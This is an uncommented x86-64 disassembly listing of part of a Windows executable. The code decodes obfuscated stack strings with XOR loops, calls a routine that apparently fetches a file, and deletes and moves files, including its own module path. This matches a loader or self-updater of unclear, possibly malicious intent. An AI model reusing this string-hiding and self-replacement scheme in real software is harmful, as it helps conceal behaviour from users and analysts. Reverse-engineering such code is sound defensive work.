movd dword [rsp + 0x78], xmm2
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x7c]
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
movd xmm2, dword [rbp + 0x60]
movd xmm0, dword [rbp - 0x80]
xorps xmm2, xmm0
movd dword [rbp - 0x80], xmm2
mov ecx, r12d
lea rdx, [rbp - 0x7c]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x70]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x16
jb 0x140062ba0
mov byte [rbp - 0x7a], 0
lea r8, [rsp + 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call fcn.14004b350
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1f0]
call fcn.140094e54
mov rcx, qword [rbp + 0x170]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x140062bf2
mov rcx, qword [rcx]
call fcn.1400963a4
cmp dword [rbp + 0x1c4], eax
je 0x1400631fe
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x1400c6f50]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rbp - 0x80], 0xdd
movd xmm1, dword [rsp + 0x60]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rsp + 0x74]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x7c]
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
mov word [rbp - 0x80], 0x7d
xor r9d, r9d
lea r8, [rsp + 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x300]
call fcn.14004b350
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x1f0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140062cb6
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x50]
call fcn.14007f6c0
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140062d00
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.14007f6c0
movdqa xmm0, xmmword [0x1400c7420]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0xcdd5cee4
mov dword [rbp + 0x164], 0xc2cacce2
movd xmm1, dword [rsp + 0x60]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x150], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rbp + 0x154]
xorps xmm1, xmm0
movd dword [rbp + 0x154], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rbp + 0x158]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rbp + 0x15c]
xorps xmm1, xmm0
movd dword [rbp + 0x15c], xmm1
movd xmm2, dword [rbp + 0x60]
movd xmm0, dword [rbp + 0x160]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
mov eax, dword [0x1400c5f10]
movd xmm8, eax
movd xmm0, r13d
psubb xmm8, xmm0
movd xmm0, dword [rbp + 0x164]
movdqa xmm1, xmm8
xorps xmm1, xmm0
movd dword [rbp + 0x164], xmm1
mov byte [rbp + 0x168], 0
lea rdx, [0x1400dae78]
cmp qword [0x1400dae90], 0xf
cmova rdx, qword [0x1400dae78]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x150]
call fcn.140060080
test al, al
jne 0x140063024
movdqa xmm0, xmmword [0x1400c6fe0]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0xcfcbc0c6
mov dword [rbp + 0x164], 0xa787c1c1
mov edx, dword [rsp + 0x60]
movd xmm1, edx
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x150], xmm1
mov r8d, dword [rbp + 0x50]
movd xmm1, r8d
movd xmm0, dword [rbp + 0x154]
xorps xmm1, xmm0
movd dword [rbp + 0x154], xmm1
mov r9d, dword [rbp + 0x40]
movd xmm2, r9d
movd xmm0, dword [rbp + 0x158]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
mov r10d, dword [rbp - 0x60]
movd xmm1, r10d
movd xmm0, dword [rbp + 0x15c]
xorps xmm1, xmm0
movd dword [rbp + 0x15c], xmm1
movd xmm2, dword [rbp + 0x60]
movd xmm0, dword [rbp + 0x160]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
lea rcx, [rbp + 0x164]
nop dword [rax]
nop dword [rax + rax]
lea eax, [r12 - 0x70]
xor byte [rcx], al
inc r12d
lea rcx, [rcx + 1]
cmp r12d, 0x17
jb 0x140062ef0
mov byte [rbp + 0x167], 0
movdqa xmm0, xmmword [0x1400c6a00]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0xa3830414
movd xmm1, edx
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movd xmm1, r8d
movd xmm0, dword [rsp + 0x74]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, r9d
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movd xmm1, r10d
movd xmm0, dword [rsp + 0x7c]
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
lea rcx, [rbp - 0x80]
nop word [rax + rax]
lea eax, [rdi - 0x70]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x13
jb 0x140062f80
mov byte [rbp - 0x7d], 0
cmp dword [0x1400d7e48], 1
sete sil
mov dword [0x1400d7d70], esi
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x150]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140062fb5
mov r8, rbx
lea rcx, [0x1400dae18]
call fcn.14007dc60
nop
lea rcx, [rbp + 0x170]
call fcn.14007d5b0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14006266e
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062669
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006428a
jmp 0x140062669
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1f0]
call fcn.140094e54
mov rcx, qword [rbp + 0x170]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x14006304c
mov rcx, qword [rcx]
call fcn.1400963a4
cmp dword [rbp + 0x1c4], eax
je 0x1400631fe
movdqa xmm0, xmmword [0x1400c7550]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0xccc181c1
mov dword [rbp - 0x7c], 0xd7d3d7d6
mov dword [rbp - 0x78], 0xc5c5c0dc
mov word [rbp - 0x74], 0xad8d
mov edx, dword [rsp + 0x60]
movd xmm1, edx
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
mov r8d, dword [rbp + 0x50]
movd xmm1, r8d
movd xmm0, dword [rsp + 0x74]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
mov r9d, dword [rbp + 0x40]
movd xmm2, r9d
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
mov r10d, dword [rbp - 0x60]
movd xmm1, r10d
movd xmm0, dword [rsp + 0x7c]
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
lea rcx, [rbp - 0x80]
nop dword [rax + rax]
lea eax, [rdi - 0x70]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x1d
jb 0x1400630f0
mov byte [rbp - 0x73], 0
movdqa xmm0, xmmword [0x1400c6ad0]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0x2e440f2d
mov dword [rbp + 0x164], 0x283b403b
mov byte [rbp + 0x168], 0x89
movd xmm1, edx
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x150], xmm1
movd xmm1, r8d
movd xmm0, dword [rbp + 0x154]
xorps xmm1, xmm0
movd dword [rbp + 0x154], xmm1
movd xmm2, r9d
movd xmm0, dword [rbp + 0x158]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
movd xmm1, r10d
movd xmm0, dword [rbp + 0x15c]
xorps xmm1, xmm0
movd dword [rbp + 0x15c], xmm1
movd xmm2, dword [rbp + 0x60]
movd xmm0, dword [rbp + 0x160]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
movd eax, xmm8
movd xmm1, eax
movd xmm0, dword [rbp + 0x164]
xorps xmm1, xmm0
movd dword [rbp + 0x164], xmm1
mov word [rbp + 0x168], 0x21
cmp dword [0x1400d7e48], 1
sete sil
mov dword [0x1400d7d70], esi
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x70]
cmovne rdx, rcx
nop dword [rax]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x1400631f0
jmp 0x140062fbe
mov dword [rbp - 0x70], 0x786f62
lea r8, [rbp - 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call fcn.14004b350
mov r8d, 0x104
lea rdx, [rbp + 0x520]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x520]
call fcn.140094e54
mov rcx, qword [rbp + 0x170]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x140063257
mov rcx, qword [rcx]
call fcn.1400963a4
cmp dword [rbp + 0x1c4], eax
je 0x140063aa3
movdqa xmm0, xmmword [0x1400c78b0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0xde80c4d4
mov edi, dword [rsp + 0x60]
movd xmm1, edi
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
mov r12d, dword [rbp + 0x50]
movd xmm1, r12d
movd xmm0, dword [rsp + 0x74]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rsp + 0x7c]
xorps xmm1, xmm0
movd dword [rsp + 0x7c], xmm1
movd xmm2, dword [rbp + 0x60]
movd xmm0, dword [rbp - 0x80]
xorps xmm2, xmm0
movd dword [rbp - 0x80], xmm2
mov byte [rbp - 0x7c], 0
xor r9d, r9d
lea r8, [rsp + 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x300]
call fcn.14004b350
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x1f0]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140063330
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x50]
call fcn.14007f6c0
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140063376
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.14007f6c0
movdqa xmm0, xmmword [0x1400c7420]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0xcdd5cee4
mov dword [rbp + 0x164], 0xc2cacce2
movd xmm1, edi
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x150], xmm1
movd xmm1, r12d
movd xmm0, dword [rbp + 0x154]
xorps xmm1, xmm0
movd dword [rbp + 0x154], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rbp + 0x158]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
movd xmm1, dword [rbp - 0x60]
movd xmm0, dword [rbp + 0x15c]
xorps xmm1, xmm0
movd dword [rbp + 0x15c], xmm1
movd xmm2, dword [rbp + 0x60]
movd xmm0, dword [rbp + 0x160]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
mov eax, dword [0x1400c5f10]
movd xmm2, eax
movd xmm0, r13d
psubb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
mov byte [rbp + 0x168], 0
cmp qword [0x1400dae90], 0xf
lea rdx, [0x1400dae78]
cmova rdx, qword [0x1400dae78]
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x300]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x150]
call fcn.140060080
test al, al
jne 0x140063855
movdqa xmm0, xmmword [0x1400c7740]
movdqu xmmword [rbp + 0xc0], xmm0
movdqa xmm1, xmmword [0x1400c7380]
movdqu xmmword [rbp + 0xd0], xmm1
movdqa xmm0, xmmword [0x1400c7070]
movdqu xmmword [rbp + 0xe0], xmm0
movdqa xmm1, xmmword [0x1400c6f20]
movdqu xmmword [rbp + 0xf0], xmm1
movdqa xmm0, xmmword [0x1400c6f30]
movdqu xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x1400c6cb0]
movdqu xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x120], 0xd3868295
mov dword [rbp + 0x124], 0x9b999a80
mov word [rbp + 0x128], 0xd88b
mov byte [rbp + 0x12a], 0xfa
mov r9d, esi
mov r10d, r14d
lea r11, [rbp + 0xc8]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x68
jb 0x140063530
cmp r9d, 0x6a
jae 0x140063673
mov eax, r9d
lea rcx, [rbp + 0xc0]
add rcx, rax
nop dword [rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x6a
jb 0x140063660
mov byte [rbp + 0x12a], 0
movdqa xmm0, xmmword [0x1400c6a10]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c62e0]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1400c6900]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400c6300]
movdqu xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x1400c6880]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp], 0x46550450
mov dword [rbp + 4], 0xc6516001
mov byte [rbp + 8], 0xe8
mov r9d, esi
lea r10, [rbp - 0x48]
nop dword [rax]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x58
jb 0x1400636e0
cmp r9d, 0x58
jae 0x140063823
mov eax, r9d
lea rcx, [rbp - 0x50]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x58
jb 0x140063810
mov byte [rbp + 8], 0
cmp dword [0x1400d7e48], 1
sete sil
mov dword [0x1400d7d70], esi
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xc0]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140063847
jmp 0x140062fbe
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1f0]
call fcn.140094e54
mov rcx, qword [rbp + 0x170]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x14006387d
mov rcx, qword [rcx]
call fcn.1400963a4
cmp dword [rbp + 0x1c4], eax
jne 0x140063af8
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], rsi
lea rax, [rbp + 0x520]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400638b0
mov r8, rbx
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x150]
call fcn.14007f6c0
nop
lea rdx, [0x1400c5b04]
lea rcx, [rbp + 0x150]
call fcn.14007cf00
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
movsxd r8, eax
cmp qword [rbp + 0x160], r8
cmovb r8, qword [rbp + 0x160]
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea rcx, [rbp + 0x98]
call fcn.14007f6c0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x14006396e
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400642a8
call fcn.1400815a4
movups xmm0, xmmword [rbp + 0x98]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rbp + 0xa8]
movups xmmword [rbp + 0x160], xmm1
lea r9, [rbp + 0x150]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova r9, rcx
movdqa xmm0, xmmword [0x1400c6d60]
movdqu xmmword [rbp - 0x60], xmm0
movd xmm1, edi
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x60], xmm1
movd xmm1, r12d
movd xmm0, dword [rbp - 0x5c]
xorps xmm1, xmm0
movd dword [rbp - 0x5c], xmm1
movd xmm2, dword [rbp - 0x58]
movd xmm0, dword [rbp + 0x40]
xorps xmm2, xmm0
movd dword [rbp - 0x58], xmm2
lea rcx, [rbp - 0x54]
lea eax, [r15 - 0x70]
xor byte [rcx], al
inc r15d
lea rcx, [rcx + 1]
cmp r15d, 0xf
jb 0x1400639f1
mov byte [rbp - 0x51], 0
lea r8, [rbp - 0x60]
mov edx, 0x104
lea rcx, [rbp + 0x410]
call fcn.14004b350
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14005edd0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1400642ae
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140063aa3
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063a9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006427e
call fcn.1400815a4
nop
lea rcx, [rbp + 0x170]
call fcn.14007d5b0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140063af1
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063aec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006428a
call fcn.1400815a4
mov al, 1
jmp 0x140062670
movdqa xmm0, xmmword [0x1400c7740]
movdqu xmmword [rbp + 0xc0], xmm0
movdqa xmm1, xmmword [0x1400c7380]
movdqu xmmword [rbp + 0xd0], xmm1
movdqa xmm0, xmmword [0x1400c7070]
movdqu xmmword [rbp + 0xe0], xmm0
movdqa xmm1, xmmword [0x1400c6f20]
movdqu xmmword [rbp + 0xf0], xmm1
movdqa xmm0, xmmword [0x1400c6f30]
movdqu xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x1400c6cb0]
movdqu xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x120], 0xd3868295
mov dword [rbp + 0x124], 0x9b999a80
mov word [rbp + 0x128], 0xd88b
mov byte [rbp + 0x12a], 0xfa
mov r9d, esi
mov r10d, r14d
lea r11, [rbp + 0xc8]
nop dword [rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x68
jb 0x140063b90
cmp r9d, 0x6a
jae 0x140063cd3
mov eax, r9d
lea rcx, [rbp + 0xc0]
add rcx, rax
nop dword [rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x6a
jb 0x140063cc0
mov byte [rbp + 0x12a], 0
movdqa xmm0, xmmword [0x1400c6a10]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c62e0]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1400c6900]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400c6300]
movdqu xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x1400c6880]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp], 0x46550450
mov dword [rbp + 4], 0xc6516001
mov byte [rbp + 8], 0xe8
mov r9d, esi
lea r10, [rbp - 0x48]
nop dword [rax]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x58
jb 0x140063d40
cmp r9d, 0x58
jae 0x140063e83
mov eax, r9d
lea rcx, [rbp - 0x50]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x58
jb 0x140063e70
mov byte [rbp + 8], 0
cmp dword [0x1400d7e48], 1
sete sil
mov dword [0x1400d7d70], esi
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xc0]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140063ea7
mov r8, rbx
lea rcx, [0x1400dae18]
